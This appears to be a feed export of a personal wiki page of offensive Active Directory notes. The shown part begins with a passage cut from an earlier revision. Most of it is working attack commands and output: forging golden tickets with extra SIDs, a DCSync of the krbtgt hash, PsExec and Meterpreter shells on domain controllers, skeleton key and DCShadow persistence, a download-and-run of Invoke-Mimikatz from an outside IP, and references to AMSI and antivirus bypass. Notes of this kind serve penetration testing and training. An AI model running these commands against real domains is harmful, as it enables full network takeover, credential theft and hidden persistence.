.\Rubeus.exe ptt /ticket:ticket.kirbi&lt;br /&gt;
klist #List tickets in memory&lt;br /&gt;
# EXAMPLE 3&lt;br /&gt;
# Example using aes key&lt;br /&gt;
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi&lt;br /&gt;
# EXAMPLE 4&lt;br /&gt;
# Linux - impacket&lt;br /&gt;
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache&lt;br /&gt;
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass&lt;br /&gt;
&lt;br /&gt;
# With the golden ticket injected into memory, we can launch a new command prompt with&lt;br /&gt;
misc::cmd and again attempt lateral movement with PsExec.&lt;br /&gt;
psexec.exe \\dc01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Taking over forest with extra SIDs ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Crafting the Golden Ticket with Extra SIDs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Imagine an attacker manages to compromise the krbtgt account of a domain. This is akin to finding a master key. With this, they can meticulously craft a special Kerberos ticket, termed a &amp;quot;golden ticket.&amp;quot; This ticket can be manipulated, almost like forging a passport, to include extra SIDs. Specifically, they can add the SID of the Enterprise Admins group from another domain. This means, even if the attacker was initially confined to one domain, this ticket can catapult them to Enterprise Admin rights in another domain.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From Windows&lt;br /&gt;
# Extract the password hash of the krbtgt account.&lt;br /&gt;
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt&lt;br /&gt;
#  Golden Ticket Creation: Armed with the hash, we can proceed use the kerberos::golden command in Mimikatz. Craft a golden ticket, and append the SID of the Enterprise Admins group from another domain to the ExtraSids field.&lt;br /&gt;
# As part of the kerberos::golden command’s arguments, we will need the domain SID for both domains. We can obtain these with Get-DomainSID from PowerView:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainSID -Domain prod.corp1.com&lt;br /&gt;
S-1-5-21-3776646582-2086779273-4091361643&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainSid -Domain corp1.com&lt;br /&gt;
S-1-5-21-1095350385-1831131555-2412080359&lt;br /&gt;
&lt;br /&gt;
mimikatz # kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt&lt;br /&gt;
...&lt;br /&gt;
Golden ticket for &#039;h4x @ prod.corp1.com&#039; successfully submitted for current session&lt;br /&gt;
&lt;br /&gt;
# Get command exec&lt;br /&gt;
C:\tools&amp;gt; c:\tools\SysinternalsSuite\PsExec.exe \\rdc01 cmd&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#  Verifying Group Memberships&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name Type&lt;br /&gt;
============================================ ================&lt;br /&gt;
Everyone Well-known group&lt;br /&gt;
...&lt;br /&gt;
PROD\Domain Admins Group&lt;br /&gt;
PROD\Group Policy Creator Owners Group&lt;br /&gt;
Unknown SID type&lt;br /&gt;
Unknown SID type&lt;br /&gt;
CORP1\Enterprise Admins Group&lt;br /&gt;
...&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
# From Linux&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/trusts#forging-tickets&lt;br /&gt;
ticketer.py -nthash KRBTGT-hash -domain DOMAIN NAME -domain-sid TARGET DOMAIN SID with RID.(can be administrator sid with 500 rid)&lt;br /&gt;
ticketer.py -nthash 0540fe51ddd618f42a66ef059ac36555 -domain internal.domain.com -domain-sid S-1-5-21-3056178012-3972705859-491075555 -extra-sid S-1-5-21-2734290894-461713716-14185555-519 Administrator&lt;br /&gt;
# Add ccache to krb5ccname&lt;br /&gt;
export krb5ccname=Administrator.ccache&lt;br /&gt;
# Use secretsdump or psexec or netexec&lt;br /&gt;
secretsdump.py &#039;internal.domain.com/Administrator&#039;@DC01.domain.com -k -no-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SID filtering ===&lt;br /&gt;
&lt;br /&gt;
Forest trust introduces the concept of SID filtering. In forest trust, the contents of the ExtraSids field are filtered so group memberships are not blindly trusted.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using PowerView we can enumerate domain trust on the target domain. We have already compromised corp1.com and we want to generate a golden ticket using the technique above.&lt;br /&gt;
PS C:\&amp;gt; Get-DomainTrust -Domain corp2.com&lt;br /&gt;
...&lt;br /&gt;
TrustAttributes : FOREST_TRANSITIVE&lt;br /&gt;
...&lt;br /&gt;
# Sometimes orgs need to relax SID filtering protectiong because of merger or other resons. That can be done by enabled SID history, which relax the protection.&lt;br /&gt;
C:\Users\Administrator&amp;gt; netdom trust corp2.com /d:corp1.com /enablesidhistory:yes&lt;br /&gt;
Enabling SID history for this trust.&lt;br /&gt;
The command completed successfully.&lt;br /&gt;
# Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the&lt;br /&gt;
 SID history setting.&lt;br /&gt;
# This means we need to find a non-default group, because they will always have a RID higher than 1000.&lt;br /&gt;
# We can enumerate members of the built-in administrators on target domain.&lt;br /&gt;
Get-DomainGroupMember -Identity &amp;quot;Administrators&amp;quot; -Domain corp2.com&lt;br /&gt;
# Once we have everything (The two domain SIDs, krbtgt NTLM hash, and a non-default group RID) we can request a golden ticket using mimikatz.&lt;br /&gt;
kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-&lt;br /&gt;
1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-&lt;br /&gt;
4182647938-3943167060-1815963754-1106 /ptt&lt;br /&gt;
# And gain access to target&lt;br /&gt;
C:\&amp;gt; PsExec.exe \\dc01.corp2.com cmd&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
corp1\h4x&lt;br /&gt;
&lt;br /&gt;
# Meterpreter shell using run.txt&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; run&lt;br /&gt;
[*] Meterpreter session 2 opened (192.168.45.169:443 -&amp;gt; 192.168.174.80:63561) at 2023-10-11 15:24:53 -0400&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
Server username: CORP1\h4x&lt;br /&gt;
meterpreter &amp;gt; sysinfo&lt;br /&gt;
Computer        : DC01&lt;br /&gt;
OS              : Windows 2016+ (10.0 Build 17763).&lt;br /&gt;
Architecture    : x64&lt;br /&gt;
System Language : en_US&lt;br /&gt;
Domain          : CORP2&lt;br /&gt;
Logged On Users : 16&lt;br /&gt;
Meterpreter     : x64/windows&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Silver Ticket ==&lt;br /&gt;
&lt;br /&gt;
== AdminSDHolder Group ==&lt;br /&gt;
&lt;br /&gt;
== DSRM Credentials ==&lt;br /&gt;
&lt;br /&gt;
== ACL Persistence ==&lt;br /&gt;
&lt;br /&gt;
== Security Descriptors ==&lt;br /&gt;
&lt;br /&gt;
== Skelton Key ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Run from DC. Enables password “mimikatz” for all users.&lt;br /&gt;
privilege::debug&lt;br /&gt;
misc::skeleton&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Custom SSP ==&lt;br /&gt;
&lt;br /&gt;
== DCShadow ==&lt;br /&gt;
&lt;br /&gt;
[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#dcshadow OSEP Cheat Sheet | 0x4rt3mis]&lt;br /&gt;
&lt;br /&gt;
DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.&lt;br /&gt;
&lt;br /&gt;
Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses &amp;lt;code&amp;gt;Set-DCShadowPermissions.ps1&amp;lt;/code&amp;gt; cmdlet).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, from any machine, use Mimikatz to stage the DCShadow attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Set SPN for user&lt;br /&gt;
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:&amp;quot;SuperHacker/ServicePrincipalThingey&amp;quot;&lt;br /&gt;
# Set SID History for user (effectively granting them Enterprise Admin rights)&lt;br /&gt;
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519&lt;br /&gt;
# Set Full Control permissions on AdminSDHolder container for user&lt;br /&gt;
## Requires retrieval of current ACL:&lt;br /&gt;
(New-Object System.DirectoryServices.DirectoryEntry(&amp;quot;LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com&amp;quot;)).psbase.ObjectSecurity.sddl&lt;br /&gt;
## Then get target user SID:&lt;br /&gt;
Get-NetUser -UserName BackdoorUser | select objectsid&lt;br /&gt;
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user&lt;br /&gt;
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;&amp;lt;nowiki&amp;gt;[[S-1-5-21-1874506631-3219952063-538504511-45109]]&amp;lt;/nowiki&amp;gt;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lsadump::dcshadow /push&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= You got domain admin, now what =&lt;br /&gt;
&lt;br /&gt;
[https://infosecwriteups.com/you-got-domain-admin-now-what-aab749c4200d You got Domain Admin, now what?. Typically when you’re starting out on… | by Jevon Davis | InfoSec Write-ups (infosecwriteups.com)]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html You-got-Domain-Admin-now-what_-InfoSec-Write-ups][https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html Download]&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Active_Directory&amp;diff=2377</id>
		<title>Offensive Security/Active Directory</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Active_Directory&amp;diff=2377"/>
		<updated>2026-06-11T08:28:59Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Living Off the Foreign Land */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2022-06-13-132814_active-directory-logo-hd-png-download.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
These are my notes from the Active Directory networks at TryHackMe, as well as notes from other sources.&lt;br /&gt;
&lt;br /&gt;
Inspo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/&lt;br /&gt;
E&#039;s methodology&lt;br /&gt;
https://zer1t0.gitlab.io/posts/attacking_ad/&lt;br /&gt;
https://bitbin.it/SKZrPTcu/&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology&lt;br /&gt;
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview&lt;br /&gt;
https://book.hacktricks.xyz/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Work in progress&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
= References Matrix =&lt;br /&gt;
&lt;br /&gt;
[https://www.secureauth.com/labs/open-source-tools/impacket/ Impacket – SecureAuth]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Explanation&lt;br /&gt;
! Tools/attack example&lt;br /&gt;
|-&lt;br /&gt;
| Unconstrained delegation&lt;br /&gt;
| Allows a service to delegate user credentials to any service on any computer.&lt;br /&gt;
| Exploiting unconstrained delegation involves accessing services running with SYSTEM or higher privileges.&lt;br /&gt;
|-&lt;br /&gt;
| Constrained delegation&lt;br /&gt;
| Allows delegation only to specific services.&lt;br /&gt;
| Attacking constrained delegation involves accessing specified services, using tools like Rubeus to exploit TGTs.&lt;br /&gt;
|-&lt;br /&gt;
| Resource-based constrained delegation&lt;br /&gt;
| Delegation rights are set on the resource&#039;s ACL, allowing greater flexibility in specifying delegation.&lt;br /&gt;
| Using Rubeus or similar tools to manipulate resource ACLs for privilege escalation.&lt;br /&gt;
|-&lt;br /&gt;
| mimikatz.exe&lt;br /&gt;
| Dump hashes and credentials from memory.&lt;br /&gt;
| mimikatz.exe &amp;quot;privilege::debug&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; exit&lt;br /&gt;
|-&lt;br /&gt;
| invoke-mimikatz&lt;br /&gt;
| PowerShell version of mimikatz.&lt;br /&gt;
| `(New-Object System.Net.WebClient).DownloadString(&#039;[http://192.168.119.120/mimikatz.txt http://192.168.119.120/mimikatz.txt]&#039;)&lt;br /&gt;
|-&lt;br /&gt;
| invoke-mimidogz&lt;br /&gt;
| Obfuscated version of invoke-mimikatz to avoid AV detection.&lt;br /&gt;
| GitHub – fir3d0g/mimidogz: Rewrite of Invoke-Mimikatz.ps1 to avoid AV detection&lt;br /&gt;
|-&lt;br /&gt;
| invoke-sohighsohigh&lt;br /&gt;
| One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition.&lt;br /&gt;
| Invoke-OneShot-Mimikatz.ps1 – One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)&lt;br /&gt;
|-&lt;br /&gt;
| SpoolSample.exe&lt;br /&gt;
| Coerce a computer to make an authentication in order to abuse print bug.&lt;br /&gt;
| Exploiting the print spooler bug using SpoolSample.exe to force authentication and capture credentials.&lt;br /&gt;
|-&lt;br /&gt;
| rubeus.exe&lt;br /&gt;
| Kerberos interaction and abuse tool, supporting pass-the-ticket, overpass-the-hash, ticket extraction, etc.&lt;br /&gt;
| Rubeus.exe tgtdeleg /user:username /rc4:hash /domain:domain /sid:sid /target:target /nowrap&lt;br /&gt;
|-&lt;br /&gt;
| impacket-secretsdump&lt;br /&gt;
| Dump secrets from a remote machine&#039;s registry hives.&lt;br /&gt;
| secretsdump.py domain/user:password@target&lt;br /&gt;
|-&lt;br /&gt;
| impacket-krbrelayx&lt;br /&gt;
| Tool for relaying Kerberos authentication.&lt;br /&gt;
| krbrelayx.py -h to see usage and examples for relaying Kerberos tickets.&lt;br /&gt;
|-&lt;br /&gt;
| impacket-mssql&lt;br /&gt;
| SQL server attack tool, capable of executing commands and dumping credentials.&lt;br /&gt;
| impacket-mssql domain/user:pass@target -windows-auth (use -windows-auth for Windows authentication).&lt;br /&gt;
|-&lt;br /&gt;
| impacket-ticketconverter&lt;br /&gt;
| Converts kirbi files (used by mimikatz) into ccache files (used by Impacket) and vice versa.&lt;br /&gt;
| ticketConverter.py &amp;lt;inputfile&amp;gt; &amp;lt;outputfile&amp;gt; to convert between kirbi and ccache formats.&lt;br /&gt;
|-&lt;br /&gt;
| ticketer.py&lt;br /&gt;
| Creates Golden/Silver tickets allowing customization of parameters like groups, ExtraSids, duration, etc.&lt;br /&gt;
| ticketer.py -nthash &amp;lt;nthash&amp;gt; -domain-sid &amp;lt;sid&amp;gt; -domain &amp;lt;domain&amp;gt; -user &amp;lt;username&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| setSPN&lt;br /&gt;
| Set Service Principal Names for accounts to allow Kerberos authentication.&lt;br /&gt;
| setspn -A &amp;lt;SPN&amp;gt; &amp;lt;Account&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| LOLBas&lt;br /&gt;
| Living Off The Land Binaries and Scripts – using built-in Windows tools for malicious purposes.&lt;br /&gt;
| Utilizing regsvr32.exe, mshta.exe, or other built-in tools for executing malicious payloads without dropping binaries.&lt;br /&gt;
|-&lt;br /&gt;
| gtfobins&lt;br /&gt;
| Repository of Unix binaries that can be used to bypass local security restrictions.&lt;br /&gt;
| Using cp, vim, or other listed Unix binaries to escalate privileges or maintain persistence.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= LOLBAS - Living off the land =&lt;br /&gt;
&lt;br /&gt;
[https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
&lt;br /&gt;
= WADComs - Very useful cheatsheet =&lt;br /&gt;
&lt;br /&gt;
https://wadcoms.github.io/&lt;br /&gt;
&lt;br /&gt;
= Icebreaker =&lt;br /&gt;
&lt;br /&gt;
[https://github.com/DanMcInerney/icebreaker GitHub - DanMcInerney/icebreaker: Gets plaintext Active Directory credentials if you&#039;re on the internal network but outside the AD environment]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= AD Methodology =&lt;br /&gt;
&lt;br /&gt;
* First step is to find valid credentials, that could either be a username, hashes or if lucky, username and password.&lt;br /&gt;
&lt;br /&gt;
* Once you have access to target, enumerate AD. Relations between users, groups. Use BloodHound etc.&lt;br /&gt;
&lt;br /&gt;
* Escalate privilege on local machine to local administrator&lt;br /&gt;
&lt;br /&gt;
* Extract hashes if possile.&lt;br /&gt;
&lt;br /&gt;
* Escalate to domain admin.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-07-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Current 2025 =&lt;br /&gt;
&lt;br /&gt;
[https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg]&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg mindmap_ad_dark_classic_2025.03.excalidraw][https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg Download]&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Nr 2 =&lt;br /&gt;
&lt;br /&gt;
[https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/ https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Active-Directory-Penetration-Manual][https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Download]&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Nr 3 =&lt;br /&gt;
&lt;br /&gt;
[https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-pentest_ad_dark_2023_02-1.svg|thumb]]&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg pentest_ad_dark_2023_02][https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg Download]&lt;br /&gt;
&lt;br /&gt;
= Active Directory Theory =&lt;br /&gt;
&lt;br /&gt;
== Object Permission (ACE, DACL, SIDs...) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Active Directory Securable Object Permissions&#039;&#039;&#039;: Determines who can access an AD object and what they can do with it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Discretionary Access Control List&#039;&#039;&#039; (DACL): Controls access to an object. Comprises a series of Access Control Entries (ACE).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Access Control Entry&#039;&#039;&#039; (ACE): Each ACE defines whether access to the object is allowed or denied, the entity it applies to, and the type of access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Order of ACEs:&#039;&#039;&#039; If a deny ACE precedes an allow ACE, the deny takes precedence (first match principle).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Security Descriptor Definition Language&#039;&#039;&#039; (SDDL): A string-delimited method by which ACEs are stored.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ACE String Example&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Translation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;AceType: A = ACCESS_ALLOWED_ACE_TYPE&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Access rights:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
RP = ADS_RIGHT_DS_READ_PROP&lt;br /&gt;
WP = ADS_RIGHT_DS_WRITE_PROP&lt;br /&gt;
CC = ADS_RIGHT_DS_CREATE_CHILD&lt;br /&gt;
DC = ADS_RIGHT_DS_DELETE_CHILD&lt;br /&gt;
LC = ADS_RIGHT_ACTRL_DS_LIST&lt;br /&gt;
SW = ADS_RIGHT_DS_SELF&lt;br /&gt;
RC = READ_CONTROL&lt;br /&gt;
WD = WRITE_DAC&lt;br /&gt;
WO = WRITE_OWNER&lt;br /&gt;
GA = GENERIC_ALL&lt;br /&gt;
Ace Sid: S-1-1-0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;DACL Enumeration via PowerView&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* To Import PowerView in PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; . .\powerview.ps1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;To Enumerate DACLs of a User (e.g., offsec):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; Get-ObjectAcl -Identity offsec&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;To Resolve SID to a Username or Group:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; ConvertFrom-SID &amp;lt;SID&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Automating SID Conversion:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Kerberos ==&lt;br /&gt;
&lt;br /&gt;
=== Kerberos Authentication graph ===&lt;br /&gt;
&lt;br /&gt;
[https://narekkay.fr/linkedin/kerberos.gif kerberos.gif (1080×1564) (narekkay.fr)]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-kerberos-1.gif|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Kerberos: A network authentication protocol that provides strong authentication for client-server applications.&lt;br /&gt;
&lt;br /&gt;
* Main Issue: Kerberos double-hop – The inability to pass authentication from one server to another server on behalf of the user.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft’s Kerberos Delegation Solutions ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;a) Unconstrained Delegation (2000):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Allows the service to impersonate a user to any other service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
Simple to implement.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Less secure: Any service can impersonate the user without restriction.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;b) Constrained Delegation (2003)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Allows the service to impersonate a user, but only to specified services.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
More secure than unconstrained as it limits the services to which a user can be impersonated.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Requires service-specific configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;c) Resource-based Constrained Delegation (2012)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Extension of constrained delegation, allows the target service to define who can delegate to it.&lt;br /&gt;
&lt;br /&gt;
* Requirements: Domain functional level of 2012.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
Greater control over which accounts can impersonate users to it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Requires a newer domain functional level.&lt;br /&gt;
&lt;br /&gt;
=== Exploiting Kerberos Delegation: ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Unconstrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Unconstrained delegation is a feature in Kerberos that allows a service to impersonate a user to any other service. While this might be useful in scenarios like multi-tier applications, it can pose significant security risks if misconfigured or abused.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Constrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Constrained delegation is a feature in the Kerberos authentication protocol that permits a service to impersonate a user to a specified set of services, as opposed to any service.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resource-based Constrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Resource-based constrained delegation (RBCD) is an extension of constrained delegation, providing a more granular level of control over delegation permissions. In RBCD, the permissions for delegation are set on the resources (services) themselves, specifying which services (or servers) are allowed to impersonate users to them.&lt;br /&gt;
&lt;br /&gt;
=== Difference between ASREProast and Kerberoasting ===&lt;br /&gt;
&lt;br /&gt;
[https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/ https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/]&lt;br /&gt;
&lt;br /&gt;
